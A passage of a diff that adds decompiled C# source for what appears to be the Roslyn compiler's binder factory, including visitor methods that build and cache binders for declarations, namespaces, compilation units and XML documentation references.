SyntaxKind.AddAccessorDeclaration) ? eventSymbol.AddMethod : eventSymbol.RemoveMethod); + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)parent2.Kind()); + } + if ((object)methodSymbol != null) + { + binder = new InMethodBinder(methodSymbol, binder); + } + } + binderCache.TryAdd(binderCacheKey, binder); + } + return binder; + } + + private Binder VisitOperatorOrConversionDeclaration(BaseMethodDeclarationSyntax parent) + { + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + if (!LookupPosition.IsInMethodDeclaration(_position, parent)) + { + return VisitCore((SyntaxNode)(object)parent.Parent); + } + bool flag = LookupPosition.IsInBody(_position, parent); + NodeUsage usage = (flag ? NodeUsage.MethodTypeParameters : NodeUsage.Normal); + BinderCacheKey binderCacheKey = CreateBinderCacheKey(parent, usage); + Binder binder = default(Binder); + if (!binderCache.TryGetValue(binderCacheKey, ref binder)) + { + binder = VisitCore((SyntaxNode)(object)parent.Parent); + MethodSymbol methodSymbol = GetMethodSymbol(parent, binder); + if ((object)methodSymbol != null && flag) + { + binder = new InMethodBinder(methodSymbol, binder); + } + binder = binder.WithUnsafeRegionIfNecessary(parent.Modifiers); + binderCache.TryAdd(binderCacheKey, binder); + } + return binder; + } + + public override Binder VisitOperatorDeclaration(OperatorDeclarationSyntax parent) + { + return VisitOperatorOrConversionDeclaration(parent); + } + + public override Binder VisitConversionOperatorDeclaration(ConversionOperatorDeclarationSyntax parent) + { + return VisitOperatorOrConversionDeclaration(parent); + } + + public override Binder VisitFieldDeclaration(FieldDeclarationSyntax parent) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return VisitCore((SyntaxNode)(object)parent.Parent).WithUnsafeRegionIfNecessary(parent.Modifiers); + } + + public override Binder VisitEventDeclaration(EventDeclarationSyntax parent) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return VisitCore((SyntaxNode)(object)parent.Parent).WithUnsafeRegionIfNecessary(parent.Modifiers); + } + + public override Binder VisitEventFieldDeclaration(EventFieldDeclarationSyntax parent) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return VisitCore((SyntaxNode)(object)parent.Parent).WithUnsafeRegionIfNecessary(parent.Modifiers); + } + + public override Binder VisitPropertyDeclaration(PropertyDeclarationSyntax parent) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + if (!LookupPosition.IsInBody(_position, parent)) + { + return VisitCore((SyntaxNode)(object)parent.Parent).WithUnsafeRegionIfNecessary(parent.Modifiers); + } + return VisitPropertyOrIndexerExpressionBody(parent); + } + + public override Binder VisitIndexerDeclaration(IndexerDeclarationSyntax parent) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + if (!LookupPosition.IsInBody(_position, parent)) + { + return VisitCore((SyntaxNode)(object)parent.Parent).WithUnsafeRegionIfNecessary(parent.Modifiers); + } + return VisitPropertyOrIndexerExpressionBody(parent); + } + + private Binder VisitPropertyOrIndexerExpressionBody(BasePropertyDeclarationSyntax parent) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + BinderCacheKey binderCacheKey = CreateBinderCacheKey(parent, NodeUsage.MethodTypeParameters); + Binder binder = default(Binder); + if (!binderCache.TryGetValue(binderCacheKey, ref binder)) + { + binder = VisitCore((SyntaxNode)(object)parent.Parent).WithUnsafeRegionIfNecessary(parent.Modifiers); + MethodSymbol getMethod = GetPropertySymbol(parent, binder).GetMethod; + if ((object)getMethod != null) + { + binder = new InMethodBinder(getMethod, binder); + } + binderCache.TryAdd(binderCacheKey, binder); + } + return binder; + } + + private NamedTypeSymbol GetContainerType(Binder binder, CSharpSyntaxNode node) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + Symbol containingMemberOrLambda = binder.ContainingMemberOrLambda; + NamedTypeSymbol namedTypeSymbol = containingMemberOrLambda as NamedTypeSymbol; + if ((object)namedTypeSymbol == null) + { + namedTypeSymbol = ((node.Parent.Kind() != SyntaxKind.CompilationUnit || (int)syntaxTree.Options.Kind == 0) ? ((NamespaceSymbol)containingMemberOrLambda).ImplicitType : compilation.ScriptClass); + } + return namedTypeSymbol; + } + + private static string GetMethodName(BaseMethodDeclarationSyntax baseMethodDeclarationSyntax, Binder outerBinder) + { + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + switch (baseMethodDeclarationSyntax.Kind()) + { + case SyntaxKind.ConstructorDeclaration: + if (!baseMethodDeclarationSyntax.Modifiers.Any(SyntaxKind.StaticKeyword)) + { + return ".ctor"; + } + return ".cctor"; + case SyntaxKind.DestructorDeclaration: + return "Finalize"; + case SyntaxKind.OperatorDeclaration: + { + OperatorDeclarationSyntax operatorDeclarationSyntax = (OperatorDeclarationSyntax)baseMethodDeclarationSyntax; + return ExplicitInterfaceHelpers.GetMemberName(outerBinder, operatorDeclarationSyntax.ExplicitInterfaceSpecifier, OperatorFacts.OperatorNameFromDeclaration(operatorDeclarationSyntax)); + } + case SyntaxKind.ConversionOperatorDeclaration: + { + ConversionOperatorDeclarationSyntax conversionOperatorDeclarationSyntax = (ConversionOperatorDeclarationSyntax)baseMethodDeclarationSyntax; + return ExplicitInterfaceHelpers.GetMemberName(outerBinder, conversionOperatorDeclarationSyntax.ExplicitInterfaceSpecifier, OperatorFacts.OperatorNameFromDeclaration(conversionOperatorDeclarationSyntax)); + } + case SyntaxKind.MethodDeclaration: + { + MethodDeclarationSyntax methodDeclarationSyntax = (MethodDeclarationSyntax)baseMethodDeclarationSyntax; + ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier = methodDeclarationSyntax.ExplicitInterfaceSpecifier; + SyntaxToken identifier = methodDeclarationSyntax.Identifier; + return ExplicitInterfaceHelpers.GetMemberName(outerBinder, explicitInterfaceSpecifier, ((SyntaxToken)(ref identifier)).ValueText); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)baseMethodDeclarationSyntax.Kind()); + } + } + + private static string GetPropertyOrEventName(BasePropertyDeclarationSyntax basePropertyDeclarationSyntax, Binder outerBinder) + { + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier = basePropertyDeclarationSyntax.ExplicitInterfaceSpecifier; + SyntaxToken identifier; + switch (basePropertyDeclarationSyntax.Kind()) + { + case SyntaxKind.PropertyDeclaration: + { + PropertyDeclarationSyntax propertyDeclarationSyntax = (PropertyDeclarationSyntax)basePropertyDeclarationSyntax; + identifier = propertyDeclarationSyntax.Identifier; + return ExplicitInterfaceHelpers.GetMemberName(outerBinder, explicitInterfaceSpecifier, ((SyntaxToken)(ref identifier)).ValueText); + } + case SyntaxKind.IndexerDeclaration: + return ExplicitInterfaceHelpers.GetMemberName(outerBinder, explicitInterfaceSpecifier, "this[]"); + case SyntaxKind.EventFieldDeclaration: + case SyntaxKind.EventDeclaration: + { + EventDeclarationSyntax eventDeclarationSyntax = (EventDeclarationSyntax)basePropertyDeclarationSyntax; + identifier = eventDeclarationSyntax.Identifier; + return ExplicitInterfaceHelpers.GetMemberName(outerBinder, explicitInterfaceSpecifier, ((SyntaxToken)(ref identifier)).ValueText); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)basePropertyDeclarationSyntax.Kind()); + } + } + + private SourceMemberMethodSymbol GetMethodSymbol(BaseMethodDeclarationSyntax baseMethodDeclarationSyntax, Binder outerBinder) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + if (baseMethodDeclarationSyntax == _memberDeclarationOpt) + { + return (SourceMemberMethodSymbol)_memberOpt; + } + NamedTypeSymbol containerType = GetContainerType(outerBinder, baseMethodDeclarationSyntax); + if ((object)containerType == null) + { + return null; + } + string methodName = GetMethodName(baseMethodDeclarationSyntax, outerBinder); + return (SourceMemberMethodSymbol)GetMemberSymbol(methodName, ((SyntaxNode)baseMethodDeclarationSyntax).FullSpan, containerType, (SymbolKind)9); + } + + private SourcePropertySymbol GetPropertySymbol(BasePropertyDeclarationSyntax basePropertyDeclarationSyntax, Binder outerBinder) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + if (basePropertyDeclarationSyntax == _memberDeclarationOpt) + { + return (SourcePropertySymbol)_memberOpt; + } + NamedTypeSymbol containerType = GetContainerType(outerBinder, basePropertyDeclarationSyntax); + if ((object)containerType == null) + { + return null; + } + string propertyOrEventName = GetPropertyOrEventName(basePropertyDeclarationSyntax, outerBinder); + return (SourcePropertySymbol)GetMemberSymbol(propertyOrEventName, ((SyntaxNode)basePropertyDeclarationSyntax).Span, containerType, (SymbolKind)15); + } + + private SourceEventSymbol GetEventSymbol(EventDeclarationSyntax eventDeclarationSyntax, Binder outerBinder) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + if (eventDeclarationSyntax == _memberDeclarationOpt) + { + return (SourceEventSymbol)_memberOpt; + } + NamedTypeSymbol containerType = GetContainerType(outerBinder, eventDeclarationSyntax); + if ((object)containerType == null) + { + return null; + } + string propertyOrEventName = GetPropertyOrEventName(eventDeclarationSyntax, outerBinder); + return (SourceEventSymbol)GetMemberSymbol(propertyOrEventName, ((SyntaxNode)eventDeclarationSyntax).Span, containerType, (SymbolKind)5); + } + + private Symbol GetMemberSymbol(string memberName, TextSpan memberSpan, NamedTypeSymbol container, SymbolKind kind) + { + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + if (container is SourceMemberContainerTypeSymbol { HasPrimaryConstructor: not false } sourceMemberContainerTypeSymbol) + { + ImmutableArray.Enumerator enumerator = sourceMemberContainerTypeSymbol.GetMembersToMatchAgainstDeclarationSpan().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (!current.IsAccessor() && current.Name == memberName && checkSymbol(current, memberSpan, kind, out var result)) + { + return result; + } + } + } + else + { + ImmutableArray.Enumerator enumerator = container.GetMembers(memberName).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current2 = enumerator.Current; + if (checkSymbol(current2, memberSpan, kind, out var result2)) + { + return result2; + } + } + } + return null; + bool checkSymbol(Symbol sym, TextSpan span, SymbolKind val, out Symbol reference) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + reference = sym; + if (sym.Kind != val) + { + return false; + } + if ((int)sym.Kind == 9) + { + if (InSpan(sym.GetFirstLocation(), syntaxTree, span)) + { + return true; + } + MethodSymbol partialImplementationPart = ((MethodSymbol)sym).PartialImplementationPart; + if ((object)partialImplementationPart != null && InSpan(partialImplementationPart.GetFirstLocation(), syntaxTree, span)) + { + reference = partialImplementationPart; + return true; + } + } + else if (InSpan(sym.Locations, syntaxTree, span)) + { + return true; + } + return false; + } + } + + private static bool InSpan(Location location, SyntaxTree syntaxTree, TextSpan span) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + if (location.SourceTree == syntaxTree) + { + return ((TextSpan)(ref span)).Contains(location.SourceSpan); + } + return false; + } + + private static bool InSpan(ImmutableArray locations, SyntaxTree syntaxTree, TextSpan span) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = locations.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (InSpan(enumerator.Current, syntaxTree, span)) + { + return true; + } + } + return false; + } + + public override Binder VisitDelegateDeclaration(DelegateDeclarationSyntax parent) + { + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + if (!LookupPosition.IsInDelegateDeclaration(_position, parent)) + { + return VisitCore((SyntaxNode)(object)parent.Parent); + } + BinderCacheKey binderCacheKey = CreateBinderCacheKey(parent, NodeUsage.Normal); + Binder binder = default(Binder); + if (!binderCache.TryGetValue(binderCacheKey, ref binder)) + { + Binder binder2 = VisitCore((SyntaxNode)(object)parent.Parent); + SourceNamedTypeSymbol sourceTypeMember = ((NamespaceOrTypeSymbol)binder2.ContainingMemberOrLambda).GetSourceTypeMember(parent); + binder = new InContainerBinder(sourceTypeMember, binder2); + if (parent.TypeParameterList != null) + { + binder = new WithClassTypeParametersBinder(sourceTypeMember, binder); + } + binder = binder.WithUnsafeRegionIfNecessary(parent.Modifiers); + binderCache.TryAdd(binderCacheKey, binder); + } + return binder; + } + + public override Binder VisitEnumDeclaration(EnumDeclarationSyntax parent) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + if (!LookupPosition.IsBetweenTokens(_position, parent.OpenBraceToken, parent.CloseBraceToken) && !LookupPosition.IsInAttributeSpecification(_position, parent.AttributeLists)) + { + return VisitCore((SyntaxNode)(object)parent.Parent); + } + BinderCacheKey binderCacheKey = CreateBinderCacheKey(parent, NodeUsage.Normal); + Binder binder = default(Binder); + if (!binderCache.TryGetValue(binderCacheKey, ref binder)) + { + Binder binder2 = VisitCore((SyntaxNode)(object)parent.Parent); + NamespaceOrTypeSymbol obj = (NamespaceOrTypeSymbol)binder2.ContainingMemberOrLambda; + SyntaxToken identifier = parent.Identifier; + binder = new InContainerBinder(obj.GetSourceTypeMember(((SyntaxToken)(ref identifier)).ValueText, 0, SyntaxKind.EnumDeclaration, parent), binder2); + binder = binder.WithUnsafeRegionIfNecessary(parent.Modifiers); + binderCache.TryAdd(binderCacheKey, binder); + } + return binder; + } + + private Binder VisitTypeDeclarationCore(TypeDeclarationSyntax parent) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + if (!LookupPosition.IsInTypeDeclaration(_position, parent)) + { + return VisitCore((SyntaxNode)(object)parent.Parent); + } + NodeUsage extraInfo = NodeUsage.Normal; + if (parent.OpenBraceToken != default(SyntaxToken) && parent.CloseBraceToken != default(SyntaxToken) && LookupPosition.IsBetweenTokens(_position, parent.OpenBraceToken, parent.CloseBraceToken)) + { + extraInfo = NodeUsage.MethodBody; + } + else if (LookupPosition.IsInAttributeSpecification(_position, parent.AttributeLists)) + { + extraInfo = NodeUsage.MethodBody; + } + else if (LookupPosition.IsInTypeParameterList(_position, parent)) + { + extraInfo = NodeUsage.MethodBody; + } + else if (LookupPosition.IsBetweenTokens(_position, parent.Keyword, parent.OpenBraceToken)) + { + extraInfo = NodeUsage.NamedTypeBaseListOrParameterList; + } + return VisitTypeDeclarationCore(parent, extraInfo); + } + + internal Binder VisitTypeDeclarationCore(TypeDeclarationSyntax parent, NodeUsage extraInfo) + { + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + BinderCacheKey binderCacheKey = CreateBinderCacheKey(parent, extraInfo); + Binder binder = default(Binder); + if (!binderCache.TryGetValue(binderCacheKey, ref binder)) + { + binder = VisitCore((SyntaxNode)(object)parent.Parent); + if (extraInfo != NodeUsage.Normal) + { + SourceNamedTypeSymbol sourceTypeMember = ((NamespaceOrTypeSymbol)binder.ContainingMemberOrLambda).GetSourceTypeMember(parent); + if (extraInfo == NodeUsage.NamedTypeBaseListOrParameterList) + { + binder = new WithClassTypeParametersBinder(sourceTypeMember, binder); + } + else + { + binder = new WithPrimaryConstructorParametersBinder(sourceTypeMember, binder); + binder = new InContainerBinder(sourceTypeMember, binder); + if (parent.TypeParameterList != null) + { + binder = new WithClassTypeParametersBinder(sourceTypeMember, binder); + } + } + } + binder = binder.WithUnsafeRegionIfNecessary(parent.Modifiers); + binderCache.TryAdd(binderCacheKey, binder); + } + return binder; + } + + public override Binder VisitClassDeclaration(ClassDeclarationSyntax node) + { + return VisitTypeDeclarationCore(node); + } + + public override Binder VisitStructDeclaration(StructDeclarationSyntax node) + { + return VisitTypeDeclarationCore(node); + } + + public override Binder VisitInterfaceDeclaration(InterfaceDeclarationSyntax node) + { + return VisitTypeDeclarationCore(node); + } + + public override Binder VisitRecordDeclaration(RecordDeclarationSyntax node) + { + return VisitTypeDeclarationCore(node); + } + + public sealed override Binder VisitNamespaceDeclaration(NamespaceDeclarationSyntax parent) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (!LookupPosition.IsInNamespaceDeclaration(_position, parent)) + { + return VisitCore((SyntaxNode)(object)parent.Parent); + } + bool inBody = LookupPosition.IsBetweenTokens(_position, parent.OpenBraceToken, parent.CloseBraceToken); + bool inUsing = IsInUsing(parent); + return VisitNamespaceDeclaration(parent, _position, inBody, inUsing); + } + + public override Binder VisitFileScopedNamespaceDeclaration(FileScopedNamespaceDeclarationSyntax parent) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + if (!LookupPosition.IsInNamespaceDeclaration(_position, parent)) + { + return VisitCore((SyntaxNode)(object)parent.Parent); + } + int position = _position; + SyntaxToken semicolonToken = parent.SemicolonToken; + bool inBody = position >= ((SyntaxToken)(ref semicolonToken)).EndPosition; + bool inUsing = IsInUsing(parent); + return VisitNamespaceDeclaration(parent, _position, inBody, inUsing); + } + + internal Binder VisitNamespaceDeclaration(BaseNamespaceDeclarationSyntax parent, int position, bool inBody, bool inUsing) + { + NodeUsage usage = (inUsing ? NodeUsage.MethodBody : (inBody ? NodeUsage.MethodTypeParameters : NodeUsage.Normal)); + BinderCacheKey binderCacheKey = CreateBinderCacheKey(parent, usage); + Binder binder = default(Binder); + if (!binderCache.TryGetValue(binderCacheKey, ref binder)) + { + CSharpSyntaxNode parent2 = parent.Parent; + Binder binder2 = ((!InScript || parent2.Kind() != SyntaxKind.CompilationUnit) ? _factory.GetBinder((SyntaxNode)(object)parent.Parent, position) : VisitCompilationUnit((CompilationUnitSyntax)parent2, inUsing: false, inScript: false)); + binder = (inBody ? MakeNamespaceBinder(parent, parent.Name, binder2, inUsing) : binder2); + binderCache.TryAdd(binderCacheKey, binder); + } + return binder; + } + + private static Binder MakeNamespaceBinder(CSharpSyntaxNode node, NameSyntax name, Binder outer, bool inUsing) + { + if (name is QualifiedNameSyntax qualifiedNameSyntax) + { + outer = MakeNamespaceBinder(qualifiedNameSyntax.Left, qualifiedNameSyntax.Left, outer, inUsing: false); + name = qualifiedNameSyntax.Right; + } + NamespaceOrTypeSymbol namespaceOrTypeSymbol = ((!(outer is InContainerBinder inContainerBinder)) ? outer.Compilation.GlobalNamespace : inContainerBinder.Container); + NamespaceSymbol nestedNamespace = ((NamespaceSymbol)namespaceOrTypeSymbol).GetNestedNamespace(name); + if ((object)nestedNamespace == null) + { + return outer; + } + if (node is BaseNamespaceDeclarationSyntax declarationSyntax) + { + outer = AddInImportsBinders((SourceNamespaceSymbol)outer.Compilation.SourceModule.GetModuleNamespace(nestedNamespace), declarationSyntax, outer, inUsing); + } + return new InContainerBinder(nestedNamespace, outer); + } + + public override Binder VisitCompilationUnit(CompilationUnitSyntax parent) + { + return VisitCompilationUnit(parent, IsInUsing(parent), InScript); + } + + internal Binder VisitCompilationUnit(CompilationUnitSyntax compilationUnit, bool inUsing, bool inScript) + { + if ((object)compilationUnit != syntaxTree.GetRoot(default(CancellationToken))) + { + throw new ArgumentOutOfRangeException("compilationUnit", "node not part of tree"); + } + NodeUsage usage = ((!inUsing) ? (inScript ? NodeUsage.MethodBody : NodeUsage.Normal) : ((!inScript) ? NodeUsage.MethodTypeParameters : NodeUsage.NamedTypeBaseListOrParameterList)); + BinderCacheKey binderCacheKey = CreateBinderCacheKey(compilationUnit, usage); + Binder binder = default(Binder); + if (!binderCache.TryGetValue(binderCacheKey, ref binder)) + { + binder = buckStopsHereBinder; + if (inScript) + { + bool flag = compilation.IsSubmissionSyntaxTree(compilationUnit.SyntaxTree); + NamedTypeSymbol scriptClass = compilation.ScriptClass; + bool isSubmissionClass = scriptClass.IsSubmissionClass; + if (!inUsing) + { + binder = WithUsingNamespacesAndTypesBinder.Create(compilation.GlobalImports, binder, withImportChainEntry: true); + if (isSubmissionClass) + { + binder = WithUsingNamespacesAndTypesBinder.Create((SourceNamespaceSymbol)compilation.SourceModule.GlobalNamespace, compilationUnit, binder, compilation.PreviousSubmission != null && flag, withImportChainEntry: true); + } + } + binder = new InContainerBinder(compilation.GlobalNamespace, binder); + if (((Compilation)compilation).HostObjectType != null) + { + binder = new HostObjectModelBinder(binder); + } + if (isSubmissionClass) + { + binder = new InSubmissionClassBinder(scriptClass, binder, compilationUnit, inUsing); + } + else + { + binder = AddInImportsBinders((SourceNamespaceSymbol)compilation.SourceModule.GlobalNamespace, compilationUnit, binder, inUsing); + binder = new InContainerBinder(scriptClass, binder); + } + } + else + { + NamespaceSymbol globalNamespace = compilation.GlobalNamespace; + binder = AddInImportsBinders((SourceNamespaceSymbol)compilation.SourceModule.GlobalNamespace, compilationUnit, binder, inUsing); + binder = new InContainerBinder(globalNamespace, binder); + if (!inUsing) + { + SynthesizedSimpleProgramEntryPointSymbol simpleProgramEntryPoint = SynthesizedSimpleProgramEntryPointSymbol.GetSimpleProgramEntryPoint(compilation, compilationUnit, fallbackToMainEntryPoint: true); + if ((object)simpleProgramEntryPoint != null) + { + ExecutableCodeBinder bodyBinder = simpleProgramEntryPoint.GetBodyBinder(_factory._ignoreAccessibility); + binder = new SimpleProgramUnitBinder(binder, (SimpleProgramBinder)bodyBinder.GetBinder((SyntaxNode)(object)simpleProgramEntryPoint.SyntaxNode)); + } + } + } + binderCache.TryAdd(binderCacheKey, binder); + } + return binder; + } + + private static Binder AddInImportsBinders(SourceNamespaceSymbol declaringSymbol, CSharpSyntaxNode declarationSyntax, Binder next, bool inUsing) + { + if (inUsing) + { + return WithExternAliasesBinder.Create(declaringSymbol, declarationSyntax, next); + } + return WithExternAndUsingAliasesBinder.Create(declaringSymbol, declarationSyntax, WithUsingNamespacesAndTypesBinder.Create(declaringSymbol, declarationSyntax, next)); + } + + internal static BinderCacheKey CreateBinderCacheKey(CSharpSyntaxNode node, NodeUsage usage) + { + return new BinderCacheKey(node, usage); + } + + private bool IsInUsing(CSharpSyntaxNode containingNode) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + TextSpan span = ((SyntaxNode)containingNode).Span; + SyntaxToken val; + if (containingNode.Kind() != SyntaxKind.CompilationUnit && _position == ((TextSpan)(ref span)).End) + { + val = containingNode.GetLastToken(); + } + else + { + if (_position < ((TextSpan)(ref span)).Start || _position > ((TextSpan)(ref span)).End) + { + return false; + } + val = containingNode.FindToken(_position); + } + SyntaxNode parent = ((SyntaxToken)(ref val)).Parent; + while (parent != null && (object)parent != containingNode) + { + if (parent.IsKind(SyntaxKind.UsingDirective) && (object)parent.Parent == containingNode) + { + return true; + } + parent = parent.Parent; + } + return false; + } + + public override Binder VisitDocumentationCommentTrivia(DocumentationCommentTriviaSyntax parent) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia parentTrivia = ((SyntaxNode)parent).ParentTrivia; + SyntaxToken token = ((SyntaxTrivia)(ref parentTrivia)).Token; + return VisitCore(((SyntaxToken)(ref token)).Parent); + } + + public override Binder VisitCrefParameter(CrefParameterSyntax parent) + { + XmlCrefAttributeSyntax parent2 = ((SyntaxNode)parent).FirstAncestorOrSelf((Func)null, false); + return VisitXmlCrefAttributeInternal(parent2, NodeUsage.MethodTypeParameters); + } + + public override Binder VisitConversionOperatorMemberCref(ConversionOperatorMemberCrefSyntax parent) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + TextSpan span = ((SyntaxNode)parent.Type).Span; + if (((TextSpan)(ref span)).Contains(_position)) + { + XmlCrefAttributeSyntax parent2 = ((SyntaxNode)parent).FirstAncestorOrSelf((Func)null, false); + return VisitXmlCrefAttributeInternal(parent2, NodeUsage.MethodTypeParameters); + } + return base.VisitConversionOperatorMemberCref(parent); + } + + public override Binder VisitXmlCrefAttribute(XmlCrefAttributeSyntax parent) + { + if (!LookupPosition.IsInXmlAttributeValue(_position, parent)) + { + return VisitCore((SyntaxNode)(object)parent.Parent); + } + NodeUsage extraInfo = NodeUsage.Normal; + return VisitXmlCrefAttributeInternal(parent, extraInfo); + } + + private Binder VisitXmlCrefAttributeInternal(XmlCrefAttributeSyntax parent, NodeUsage extraInfo) + { + BinderCacheKey binderCacheKey = CreateBinderCacheKey(parent, extraInfo); + Binder binder = default(Binder); + if (!binderCache.TryGetValue(binderCacheKey, ref binder)) + { + CrefSyntax cref = parent.Cref; + MemberDeclarationSyntax associatedMemberForXmlSyntax = GetAssociatedMemberForXmlSyntax(parent); + bool inParameterOrReturnType = extraInfo == NodeUsage.MethodTypeParameters; + binder = ((associatedMemberForXmlSyntax == null) ? MakeCrefBinderInternal(cref, VisitCore((SyntaxNode)(object)parent.Parent), inParameterOrReturnType) : MakeCrefBinder(cref, associatedMemberForXmlSyntax, _factory, inParameterOrReturnType)); + binderCache.TryAdd(binderCacheKey, binder); + } + return binder; + } + + public override Binder VisitXmlNameAttribute(XmlNameAttributeSyntax parent) + { + if (!LookupPosition.IsInXmlAttributeValue(_position, parent)) + { + return VisitCore((SyntaxNode)(object)parent.Parent); + } + XmlNameAttributeElementKind elementKind = parent.GetElementKind(); + NodeUsage usage; + switch (elementKind) + { + case XmlNameAttributeElementKind.Parameter: + case XmlNameAttributeElementKind.ParameterReference: + usage = NodeUsage.MethodTypeParameters; + break; + case XmlNameAttributeElementKind.TypeParameter: + usage = NodeUsage.MethodBody; + break; + case XmlNameAttributeElementKind.TypeParameterReference: + usage = NodeUsage.NamedTypeBaseListOrParameterList; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)elementKind); + } + BinderCacheKey binderCacheKey = CreateBinderCacheKey(GetEnclosingDocumentationComment(parent), usage); + Binder binder = default(Binder); + if (!binderCache.TryGetValue(binderCacheKey, ref binder)) + { + binder = buckStopsHereBinder; + Binder binder2 = VisitCore((SyntaxNode)(object)GetEnclosingDocumentationComment(parent)); + if (binder2 != null) + { + binder = binder.WithContainingMemberOrLambda(binder2.ContainingMemberOrLambda); + } + MemberDeclarationSyntax associatedMemberForXmlSyntax = GetAssociatedMemberForXmlSyntax(parent); + if (associatedMemberForXmlSyntax != null) + { + switch (elementKind) + { + case XmlNameAttributeElementKind.Parameter: + case XmlNameAttributeElementKind.ParameterReference: + binder = GetParameterNameAttributeValueBinder(associatedMemberForXmlSyntax, binder); + break; + case XmlNameAttributeElementKind.TypeParameter: + binder = GetTypeParameterNameAttributeValueBinder(associatedMemberForXmlSyntax, includeContainingSymbols: false, binder); + break; + case XmlNameAttributeElementKind.TypeParameterReference: + binder = GetTypeParameterNameAttributeValueBinder(associatedMemberForXmlSyntax, includeContainingSymbols: true, binder); + break; + } + } + binderCache.TryAdd(binderCacheKey, binder); + } + return binder; + } + + private Binder GetParameterNameAttributeValueBinder(MemberDeclarationSyntax memberSyntax, Binder nextBinder) + { + if (memberSyntax is BaseMethodDeclarationSyntax baseMethodDeclarationSyntax) + { + ParameterListSyntax parameterList = baseMethodDeclarationSyntax.ParameterList; + if (parameterList != null && parameterList.ParameterCount > 0) + { + Binder outerBinder = VisitCore((SyntaxNode)(object)memberSyntax.Parent); + return new WithParametersBinder(GetMethodSymbol(baseMethodDeclarationSyntax, outerBinder).Parameters, nextBinder); + } + } + if (memberSyntax is TypeDeclarationSyntax typeDeclarationSyntax) + { + ParameterListSyntax parameterList = typeDeclarationSyntax.ParameterList; + if (parameterList != null && parameterList.ParameterCount > 0) + { + SynthesizedPrimaryConstructor primaryConstructor = ((NamespaceOrTypeSymbol)VisitCore((SyntaxNode)(object)memberSyntax).ContainingMemberOrLambda).GetSourceTypeMember((TypeDeclarationSyntax)memberSyntax).PrimaryConstructor; + if (primaryConstructor.SyntaxRef.SyntaxTree == memberSyntax.SyntaxTree && primaryConstructor.GetSyntax() == memberSyntax) + { + return new WithParametersBinder(primaryConstructor.Parameters, nextBinder); + } + } + } + switch (memberSyntax.Kind()) + { + case SyntaxKind.PropertyDeclaration: + case SyntaxKind.IndexerDeclaration: + { + Binder outerBinder2 = 